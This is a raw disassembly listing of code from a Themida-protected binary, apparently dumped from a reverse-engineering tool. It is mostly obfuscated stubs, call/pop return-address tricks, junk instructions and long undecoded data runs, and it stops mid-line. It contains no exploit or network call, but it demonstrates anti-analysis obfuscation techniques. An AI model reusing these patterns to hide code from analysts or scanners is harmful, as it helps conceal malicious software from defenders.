--------------------------------------------------------------------------- db 47h, 0D2h ; --------------------------------------------------------------------------- loc_5505DF: ; CODE XREF: Themida_:005505C8j cmp dword ptr [ebp+6100B05h], 0 jz loc_55062F or bx, 7BEBh pusha push 0 push ebx call sub_5505FD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5505FD proc near ; CODE XREF: Themida_:005505F5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5505FD endp ; --------------------------------------------------------------------------- db 0EDh, 89h, 0B5h ; --------------------------------------------------------------------------- stc sub dl, [eax] push es call dword ptr [ebp+6100B05h] mov edx, edi popa jle loc_55062F jnz loc_55062F mov [ebp+6102855h], edx loc_55062F: ; CODE XREF: Themida_:005505E6j ; Themida_:0055061Dj ... cmp dword ptr [ebp+6101359h], 0 jz loc_55064A mov edx, [ebp+6100259h] mov eax, 0 mov dx, si loc_55064A: ; CODE XREF: Themida_:00550636j pusha jmp loc_550661 ; --------------------------------------------------------------------------- dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0A608A90Fh db 0E2h ; --------------------------------------------------------------------------- loc_550661: ; CODE XREF: Themida_:0055064Bj pusha mov esi, [ebp+6100935h] jb loc_55066F cmc loc_55066F: ; CODE XREF: Themida_:00550668j popa mov eax, [ebp+61010C5h] push 0 push edx call sub_550681 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550681 proc near ; CODE XREF: Themida_:00550679p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_550681 endp ; --------------------------------------------------------------------------- retn 0ECBh ; --------------------------------------------------------------------------- sbb bx, 40Ch add eax, 2 jmp loc_5506B4 ; --------------------------------------------------------------------------- mov edx, 76508D28h aad 4Ah fldcw word ptr [eax] mov ds:0FB004FFCh, al pop ebx retf 0DDBDh ; --------------------------------------------------------------------------- db 0D2h ; --------------------------------------------------------------------------- loc_5506B4: ; CODE XREF: Themida_:0055069Cj mov [ebp+6104E03h], eax push 0 push ebx call sub_5506C5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5506C5 proc near ; CODE XREF: Themida_:005506BDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5506C5 endp ; --------------------------------------------------------------------------- cli sub ebx, 68DEB93Dh mov ebx, [ebp+6102361h] mov byte ptr [eax], 0FFh push 0 push esi call sub_5506F0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5506F0 proc near ; CODE XREF: Themida_:005506E8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5506F0 endp ; --------------------------------------------------------------------------- dd 6870FE7h, 31000000h, 1007E99Dh, 0C1958B06h, 0E806100Bh dd 12h, 16436E55h, 494A65B3h, 67AE5D0h, 70AB3802h, 0C65AA430h dd 1023E585h, 81665306h, 68B315F2h, 0BEEC764Eh, 81DF8B66h dd 0D28A2404h, 85313DC4h, 6101CE1h, 1D45B5FFh, 60570610h dd 8B0Fh, 21BE0000h, 617DC5C0h, 0B19D235Bh, 8D06100Ch dd 13858A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0C23E7A8h, 80E1B55Bh, 0D38BDFDFh dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 65247BC3h, 0FF09E95h, 8B60DFBFh, 100BBD95h dd 55850306h, 6106100Bh, 31C98589h, 9D8B0610h, 6100DD5h dd 855BD83h, 0F010610h, 10885h, 6830F00h, 89000000h, 1013658Dh dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 96109EC3h, 0D81E0B80h, 0BD8B6055h, 6100565h dd 1CE08166h, 85C66175h, 61023E5h, 6890F45h, 8B000000h dd 101EA995h, 0C3A6806h, 850F7124h, 0 ; --------------------------------------------------------------------------- add dword ptr [esp], 693C2C88h push 0 push ecx call sub_55084E and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55084E proc near ; CODE XREF: Themida_:00550846p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_55084E endp ; --------------------------------------------------------------------------- push cs xchg eax, ecx mov al, ds:0E7BC936Bh push edx push ebx or bx, 7839h pop edx pop ebx push dword ptr [ebp+6101D45h] push 0 push eax call sub_55087F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55087F proc near ; CODE XREF: Themida_:00550877p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_55087F endp ; --------------------------------------------------------------------------- db 0A8h dd 7D9D8B28h, 0B06100Fh, 101B759Dh, 8A858D06h, 81061385h dd 9B444BEBh, 0BE835h, 0B6070000h, 0B8783869h, 3645A253h dd 8E988h, 0AB340000h, 11A0B9Ch, 0FF5B510Ch, 45BA66D0h dd 119D8B75h, 6A061008h, 84CA8100h, 2930862Bh, 101F4DB5h dd 29D0FF06h, 1012499Dh, 79BD8306h, 1061016h, 0DD850Fh dd 8D890000h, 61006D9h, 10C5858Bh, 85890610h, 61014E5h dd 61605260h, 16880F5Eh, 0E8000000h, 10h, 0CA3A3E18h, 0E076F566h dd 84A1144Eh, 0E873B2C6h, 5DE96158h, 89000000h, 1010B185h dd 890F5006h, 0Ah, 0BA665250h, 310F31D1h, 489585Ah, 146AF824h dd 8E856h, 20EC0000h, 4D9DA96Ah, 0CF8005DBh, 0F85B5A2Fh dd 31C995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0E4F6AC3h, 0B70FA472h, 58DA8BD7h dd 0F003880h, 0FFFFA085h, 8F0F56FFh, 6, 2AF99D8Bh, 0C65B0610h dd 6A0100h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CBAEAC3h, 1AEE9CA0h, 858932D6h, 6102195h dd 61D6B70Fh, 5C5950Bh, 0BD830610h, 6101379h, 3C840F00h dd 81000000h, 33727CE3h, 29958B6Fh, 6A061021h, 0D3BF0FFFh dd 31C995FFh, 0B70F0610h, 0FFEDE9D9h, 0AE9FFFFh, 0BB000000h dd 0B3539721h, 0B201C870h, 8E0F5374h, 6, 860Fh, 0C75B0000h dd 10137985h, 106h, 0AD9D8B00h, 89061021h, 104E0F85h, 0B5896006h dd 61008A5h, 1CFECF81h, 506122E5h, 489F08Ah, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 84456851h, 0D680A41Ah, 9D8B6094h, 6100EF9h, 66F5056Ah dd 8D1AB8BBh, 104E2785h, 0B18D0106h, 90061031h, 0EE9h dd 0BD241300h, 0DBCBC587h, 49B6272Bh, 50E858B4h, 0D840Fh dd 52500000h, 853DBB66h, 8B66310Fh, 90585ADAh, 8DD08B66h dd 104E1785h, 0EE906h, 0B2030000h, 96AC0A2Eh, 0A6953D84h dd 6A967AD5h, 15CD9D33h, 66900610h, 5050DF8Bh, 13E852h dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h dd 5A1DB674h, 6060310Fh, 585A6161h, 819D0B90h, 0FF061021h dd 10080195h, 0CABB6606h, 1C8D8D56h, 0F06107Dh, 218Fh dd 14E96000h, 5B000000h, 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh dd 738C7191h, 8989F182h, 102F0585h, 0C00B6106h, 858D1174h dd 6104E27h, 89D1FF50h, 104E4585h, 0C70AEB06h, 104E4585h dd 0FFFFFF06h, 19958BFFh, 0B06102Ah, 100A3D95h, 89FC6106h dd 100F7595h, 0E585C606h, 4D061023h, 4E8h, 3576A800h, 6E960A4h dd 0BB000000h, 4DA6BDFDh, 53525076h, 5A310F5Ah, 66506158h dd 448BD88Bh, 0BB660424h, 8BE8D6h, 89D78B66h, 0F042444h dd 587h, 5E88BA00h, 6658545Ah, 0B5FFD78Bh, 6100945h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6CC35545h, 42239DAFh dd 0EFC0495Ah, 5066C381h, 858D50A4h, 613858Ah, 0FFDE8B66h dd 81950BD0h, 8906101Ch, 1012F585h, 25F38106h, 0C608BE83h dd 1023E585h, 81664506h, 0E85FFEF3h, 4, 8E726969h, 8A50B1B6h dd 24448BD7h, 66525004h, 310FDE8Bh, 48A0Fh, 0BA660000h dd 585AA072h, 0BB66008Bh, 44895B77h, 0D68B0424h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 505C1B1Ch, 7558D89h, 0FF5B0610h, 101D45B5h, 598D0906h dd 0F06101Ch, 858DD2B7h, 613858Ah, 1C898529h, 85890610h dd 6103101h, 12E9D0FFh, 5D000000h, 0AFE7D4E1h, 8B06B56Eh dd 0D781C545h, 0EE2AE4D8h, 0AD858978h, 6A061009h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 828FC353h, 0D28B6AF5h, 68F0Fh, 0BD890000h, 6100871h dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 94B5C355h, 0CEB2E370h, 35958905h dd 8006100Dh, 0C1F64DD7h, 11840F04h, 81000002h, 8A24EEDBh dd 0E1E953h, 81660000h, 8B329CDAh, 102955B5h, 10E806h dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch, 0C28157D2h dd 164DFA2Bh, 80C6815Bh, 8B000011h, 1016DD9Dh, 69BD8306h dd 61029h, 2E850Fh, 0D68B0000h, 90E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6E972h, 8EB30000h, 0EB05E13Ch, 0F003E83h, 6084h, 89958900h dd 6006102Fh, 7E8h, 6722EA00h, 9282DA6Ch, 5AD08B66h, 9D8B146Ah dd 6101069h, 31C995FFh, 0DA800610h, 8166562Fh, 5AEE82D2h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 1709120Eh, 28619533h, 9DE90610h, 89FFFFFFh dd 1012C5BDh, 106C706h, 66000000h, 83C5FFBBh, 104E0FBDh dd 850F0506h, 118h, 8BDEBF0Fh, 1009ADB5h, 8D9D8B06h, 0B906100Fh dd 64h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 0D9C35040h, 1EBDAE7h, 10051D95h, 80CFB306h, 840FE83Eh dd 2Eh, 0E967C280h, 35h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 2DC35343h, 756FDC56h, 663D4764h, 7E80D98Bh dd 840FC205h, 61h, 0D7CA8166h, 958B46E2h, 6101AF5h, 0AC850F49h dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 8034C353h, 6A907979h, 89D76379h dd 100DBD8Dh, 0FE96006h, 2C000000h, 0A8BDB7E7h, 43FAE3B8h dd 6E1DD302h, 958950BBh, 610076Dh, 3EE961h, 0C3800000h dd 0ADB589DAh, 6A061015h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0F6C1C351h, 0A45B3D9Ah dd 0A19D8BB4h, 6006100Ch, 14E5958Bh, 0F520610h, 6158D7B7h dd 0EE958h, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h dd 0A79BD83h, 0F000610h, 15684h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C0BFE8F2h dd 958BD08Bh, 61015F5h, 15958960h, 0C606100Ch, 1023E585h dd 0D08B5406h, 4E8h, 4EBEF400h, 46B750FFh, 424448Bh, 12E860h dd 0BCDC0000h, 23D8B1Eh, 69BD7EFDh, 605027B5h, 27E5A789h dd 5BF28B66h, 0AE9h, 331C7400h, 2126E735h, 612FCC94h, 0E850008Bh dd 0Ah, 0DB2A7BDFh, 1176C428h, 5A5A3B4Eh, 4244489h, 14D6BB66h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 3D9D8987h, 0FF061028h, 101D45B5h, 0E31BBA06h dd 858D2825h, 613858Ah, 9619509h, 958B0610h, 6102105h dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 42653BC3h, 7E9h, 17E03500h, 87C7D0FBh, 0E5BB006Ah dd 80724079h, 0B5FFDCCEh, 6100A79h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0B8C35646h, 6AD0FF3Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 3C93C356h, 9533D234h, 6100D1Dh dd 0AD8D8961h, 0C706100Dh, 101E2985h, 106h, 0AE900h, 6F6D0000h dd 10F976DCh, 943DFD3Bh, 0D19D8B60h, 68061022h, 0B102BAD2h dd 0AE9h, 98C2B300h, 0C366151h, 81FF6B1Ch, 45AE2404h, 0FF6A4EFDh dd 715958Bh, 95FF0610h, 61006B9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 6CC35747h, 894D3C1Ah, 1018C9B5h dd 0B5896106h, 6102D39h, 66905090h, 0A048CA81h, 11A9858Bh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 60EF8AC3h, 21219529h, 0C00B0610h, 2E840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 958B4CC3h, 6102F6Dh, 2EE195FFh, 0B5090610h dd 6101DE9h, 75185C7h, 10610h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F2FE3C3h dd 0BD83DFB7h, 6101701h, 0F840F00h, 80000000h, 95FF10E3h dd 61030B1h, 31A99D8Bh, 0BD830610h, 6102E85h, 23840F00h dd 0E8000000h, 7, 0E4616FE8h, 60F4C86Dh, 95896160h, 6102D35h dd 95FF5B61h, 6101639h, 1D7D9D89h, 0BD830610h, 6100939h dd 62840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 5639C351h, 0FDD9D89h dd 835A0610h, 1032BDBDh, 850F0006h, 31h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 80C35343h, 89C78BB8h dd 1026E58Dh, 0C195FF06h, 89061005h, 102D81B5h, 19BD8306h dd 61031h, 57840Fh, 0F6800000h, 658581E3h, 306100Eh, 6A000040h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 6DD8C353h, 54646474h, 8A1002EEh, 9E8D9h dd 70050000h, 0DA62FE0Ah, 0F39B998h, 38Bh, 0D1B70F00h dd 2D85815Ah, 3061013h, 8B000040h, 0E8310FD7h, 0Ah, 0C342690h dd 0E8080B9Ah, 0B70F8E35h, 8D8D5AD2h, 6105DFEh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h, 4B330A4Fh dd 815D7B88h, 0B59BA8DBh, 0F98D2977h, 89061015h, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 74DD975Bh, 89DC1194h, 100D5185h, 0B1958906h, 33061023h dd 89D78BC2h, 9D010441h, 61005B1h, 0BD31310Fh, 6101081h dd 5E468D8Dh, 80500610h, 895A59D2h, 0E1958B01h, 80061032h dd 0C23316CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 1DC35242h, 33FBD894h, 3BE15A6Ah, 0A0BA66FCh, 441891Eh dd 83D3BF0Fh, 103195BDh, 840F0006h, 2Eh, 5BDD8A56h, 1C8D95FFh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0ABE2E0C3h, 0C959D8Bh, 0BD830610h, 6100DE9h dd 6B850F01h, 0E8000000h, 8, 0EEDAD0D8h, 0C700ABE8h, 58E95Bh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 48896BC3h, 2CB2621h, 0CE9900Bh, 2C000000h dd 37D00BC2h, 0E769FF5Fh, 66360F2Ah, 0B58BD68Bh, 6105F7Eh dd 6C7h, 0B58B0000h, 6105D33h, 6C7h, 0FCCF0000h, 5218589h dd 0BD830610h, 6100751h, 0A3840F00h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CAE6C355h, 0BD29C15Ah, 6100FB5h, 11B5BD83h, 0F010610h dd 15F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E86D9AC6h, 12h, 4F03D01h, 0D76BD4B5h dd 0B41C6792h, 87E3F30Dh, 0CA814F9Bh, 4B937099h, 0D5B5315Ah dd 8B06101Dh, 104E038Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 481EBBDCh, 0C6E29B3Ch dd 33520001h, 101D059Dh, 0B3605A06h, 0D38B669Ch, 59D25B68h dd 0E96060ADh, 0Fh, 7BBC67F2h, 39E5D911h, 0D9374A93h, 6619D413h dd 612C88BFh, 38E0Fh, 8B660000h, 48161CEh, 0A62E2524h dd 51006A52h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0A231677Dh, 92B3156Bh, 0CA80FF6Ah, 2D958BEBh dd 0FF06100Eh, 1006B995h, 0EBF28006h, 0D2BF0F61h, 1F8995FFh dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0C0E21FC3h, 0F627EBCEh, 2DD5BD89h, 8D8B0610h dd 6104E03h, 0FECBE280h, 50006A01h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C25D8436h, 1BC03512h dd 11E872F0h, 0CC000000h, 0DFA98C07h, 0FA70950Fh, 9B593D2h dd 0A035F250h, 5BD18B66h, 1D5BD83h, 0F010610h, 585h, 2BA6600h dd 0C08BFCE0h, 0BD83B2B7h, 610158Dh, 83097500h, 100095BDh dd 1A740006h, 0C08B5350h, 0E65858Bh, 85890610h, 6100E65h dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50187400h dd 65858B53h, 8906100Eh, 100E6585h, 49D8D06h, 0FF0612B5h dd 0F585BD3h, 884h, 2870F00h, 8B000000h, 51006ADEh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 27BB57EAh, 5A385157h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E8D302C3h, 8, 8322AEEDh dd 43C16182h, 105D958Bh, 665B0610h, 0BD83D78Bh, 6100751h dd 4F850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2E5EC350h, 47B87C5Eh dd 0E9378231h, 10h, 58DD93BAh, 7995DE9Bh, 0B0FA5E84h, 0E7F531F0h dd 2779958Bh, 0BD830610h, 6100AA1h, 3840F00h, 0F000000h dd 0BD83DAB7h, 6100751h, 15840F00h, 0B2000000h, 35BD8367h dd 6101Eh, 6840Fh, 8D890000h, 610335Dh, 751BD83h, 0F000610h dd 1284h, 35BD8300h, 6101Eh, 5840Fh, 81660000h, 83A8BBCAh dd 100751BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0D7C35242h, 15BD83h, 0F000610h dd 0B84h, 6E900h, 4B780000h, 0B52189Fh, 751BD83h, 0F000610h dd 2384h, 0FBBB6600h, 0E1BD83A1h, 61021h, 12840Fh, 9D890000h dd 6101241h, 1B6D95FFh, 9D890610h, 61021CDh, 6AC08Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 888B8BC3h, 13859D8Bh, 0CBB20610h, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501A74h, 858BC08Bh, 610132Dh, 132D8589h dd 9D8D0610h, 612B87Ch, 585BD3FFh, 95BD83h, 74000610h dd 8B535018h, 10132D85h, 2D858906h, 8D061013h, 12B51D9Dh dd 5BD3FF06h, 6E958h, 0A4A30000h, 0F2F669FCh, 9B1958Bh dd 0C08B0610h, 1A7D8589h, 0BD830610h, 6100751h, 8F840F00h dd 89000004h, 1023D985h, 55BD8306h, 2061008h, 2F840Fh dd 0BD010000h, 6101C99h, 0DE9BD83h, 0F010610h, 1C85h, 858B6000h dd 61004D9h, 0FE9h, 0D5ECA600h, 811F61F8h dd 8FEA4169h, 0FCCF2A27h, 6A6061h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D8B24C3h, 6104E03h dd 0DAD28166h, 6A01FEDCh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0F1C2C355h, 4E8C9h dd 800000h, 0BB660000h, 0B7500D67h, 24448B83h, 8BD38B04h dd 0BA665600h, 895B9C88h, 0E9042444h, 5, 8F82996Fh, 6AFC584Fh dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 81667403h, 0FFF61FC2h, 1006B995h, 3D950B06h dd 0F06100Ah, 680h, 61853100h, 61061021h, 11398529h, 0BD8D0610h dd 6100CB5h, 8BF6EA80h, 0BA661C4Fh, 0F7807981h, 29016ACEh dd 102225B5h, 181EBB06h, 0B750272Ch, 240C89B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8CC35040h, 0C697BE7Eh dd 8D0ADE80h, 1345E685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0C660E70Fh, 0D0FFF486h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h dd 39EB81B2h, 0F677F5Dh, 489h, 0B7BB6600h, 204F8BA3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0B589036Ah dd 610045Dh, 50525091h, 0FD98B52h, 5A5B5031h, 5A310F58h dd 53605058h, 0BC82BA66h, 943ABB5Bh, 916169C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 18C35040h, 0F69DE8A0h dd 85BD898Eh, 8D06101Dh, 1345E685h, 51953106h, 0FF061029h dd 68F0FD0h, 29000000h, 1014358Dh, 0B5BD8D06h, 6006100Ch dd 5E9h, 7C1E8700h, 820F5EF8h, 5, 0C417E2B8h, 4F8B6172h dd 0E9CA801Ch, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 2C0919C3h, 50D3B70Fh, 0B09FB360h dd 0C896173h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 34D4C028h, 0D18BD08Bh, 8DD08B66h dd 1345E685h, 68C0F06h, 8B000000h, 102D699Dh, 66D0FF06h dd 483DEA81h, 0F204F8Bh, 387h, 41DF8000h, 6A036Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 23E36EC3h, 101CB595h, 0BB665006h, 0C899543h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6890FFEh, 89000000h, 1029519Dh, 0E6858D06h, 6A061345h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 379DC351h, 85090D82h, 6100BD9h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 939B3BC3h, 0D88BE9ACh, 4E038D8Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 556841C3h dd 9761C03Bh, 0B26C2893h, 6A01FEFAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 9461C351h dd 0AC11048Ch, 0EA803547h, 0CE8A3h, 0F020000h, 0CBC0A9Eh dd 0F8A5F602h, 3CBAF3D1h, 5A797EC4h, 4E03858Bh, 8B660610h dd 6A00FED0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0BE7AC356h, 0EC2CA9FBh, 522D593Bh dd 15A1B531h, 16A0610h, 0A9E5DA81h, 0E95722EEh, 12h, 2C7A55Fh dd 8AA1622Fh, 0C9628704h, 65234E89h, 685B75FAh, 8EC22F09h dd 1A8E0Fh, 10E80000h, 4B000000h, 8831CDE0h, 0AA2F1A91h dd 3EB682D6h, 66BEEFC8h, 5B3E0CBBh, 0F6243481h, 6A713DB0h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 8D25C353h, 45F0858Dh, 89600613h, 1009BDBDh dd 45B58906h, 61061005h, 958BD0FFh, 61001E9h, 2D018D29h dd 0BD830610h, 6100AA1h, 0B6840F00h, 66000000h, 0BD83DE8Bh dd 6102209h, 0A6850F01h, 89000000h, 101A8585h, 0FA8D8D06h dd 8B061345h, 10165995h, 9036A06h, 100559BDh, 66016A06h dd 0D1FFD88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 9EC35242h, 41309F6h, 8AFF5BAEh, 459531F1h, 81061008h dd 0D794BAF3h, 0F016A4Dh, 885h, 9D8B5200h, 6101331h, 6A016A5Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0DB7EC351h, 401B705Ch, 1A918D89h, 0D1FF0610h dd 0E8BFC380h, 0FA4B6D59h, 5810Fh, 81660000h, 89E211F3h dd 100FC9BDh, 6A206A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1C96C356h, 0E3A968D5h dd 8A5759B5h, 66FF6AD4h, 95FFDF8Bh, 61006B9h, 10E9h, 57A4CC00h dd 5B302DB7h, 135865E9h, 195FC125h, 0B8A0h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 2A61FDC3h, 0C0ECA379h, 0B70EA68h, 47840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 622BC357h, 8B46F645h, 19958BD0h, 8306102Dh dd 101D19BDh, 840F0006h, 12h, 2AD195FFh, 8A0F0610h, 6 dd 23C59D0Bh, 858B0610h, 61010C5h, 2E01BD89h, 57600610h dd 815EEEB4h, 775B45D9h, 0C6611Ah, 0D5DB8100h, 580E44CAh dd 9099D01h, 0BD890610h, 6102FC9h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0F406C356h, 82B07C96h, 0F697400h, 681h, 0A9BD3100h dd 0E8061009h, 5, 30190FB3h, 45952917h, 5A061008h, 0F04C1F6h dd 0B384h, 0DDB58900h, 8B06101Ah, 1013119Dh, 0A2E906h dd 830F0000h, 1, 899D23FCh, 8B061005h, 102955B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F729B743h, 0C870Fh, 800F0000h, 6, 1B219D8Bh, 0C6810610h dd 1180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0D3C35747h, 10296676h, 0E9B944CBh, 5, 0E8B4195Bh dd 0C7D88B21h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1CD14BBAh, 8BEC9CFEh dd 53006A5Eh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BA663D2h, 1012B195h, 0F88306h, 0C1D840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B72F1C3h, 0D6BF0FDAh, 0F01F883h, 17D85h dd 0FFE28000h, 0B8h, 68D0F00h, 8B000000h, 1004CD95h, 0FC00B06h dd 10E84h, 1AF38100h, 0E90F4C5Eh, 10h, 0AEDDA1DFh, 7599D892h dd 5A7F51EEh, 0E3E1F264h, 0F01F883h, 10184h, 71952300h dd 83061007h, 840F03F8h, 74h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 37C35646h, 0DF80954Fh, 8BC02BA9h dd 1007819Dh, 0E0BD8D06h, 8B005B89h, 100BC99Dh, 6AE7FF06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h dd 0E9EFC353h, 0Ah, 0CAF06344h, 89898A24h, 880F440Eh, 0Ch dd 6890Fh, 9D890000h, 61010FDh, 1B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BE94345h, 50000000h, 96B2FBA9h, 4FD11C72h, 0BD8DB28Fh dd 5B89E0h, 0FFD78B66h, 50006AE7h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 47D2C6A4h, 7900DDCBh dd 8056C1F9h, 8D5BCCDBh, 10448FBDh, 1D958B06h, 0E9061013h dd 317h, 0CAC4C381h, 85C7281Fh, 6104E5Eh, 5, 5B8F5h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C14FC3C3h, 2329958Bh, 0EFE90610h, 0F000009h, 0F883D2B7h dd 0FD850F02h, 